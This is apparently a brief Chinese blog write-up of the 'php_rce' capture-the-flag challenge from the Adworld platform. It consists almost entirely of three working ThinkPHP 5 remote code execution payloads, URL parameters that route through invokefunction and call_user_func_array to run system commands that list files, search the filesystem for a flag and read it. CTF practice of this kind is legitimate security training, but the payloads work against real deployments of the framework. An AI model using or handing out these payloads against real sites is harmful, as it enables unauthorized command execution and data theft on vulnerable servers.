攻防世界-web-高手进阶区003-php_rce

1.thinkphp5 rce漏洞构造payload

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27

 

 

 

2.寻找flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("find / -name 'flag'");%27

 

 

 

3.查看flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat ../../../flag");%27

 

 

 

4.漏洞详情可查看,https://blog.csdn.net/qq_40884727/article/details/101452478

 


 

posted @ 2020-03-12 13:47  joker0xxx3  阅读(2683)  评论(1编辑  收藏  举报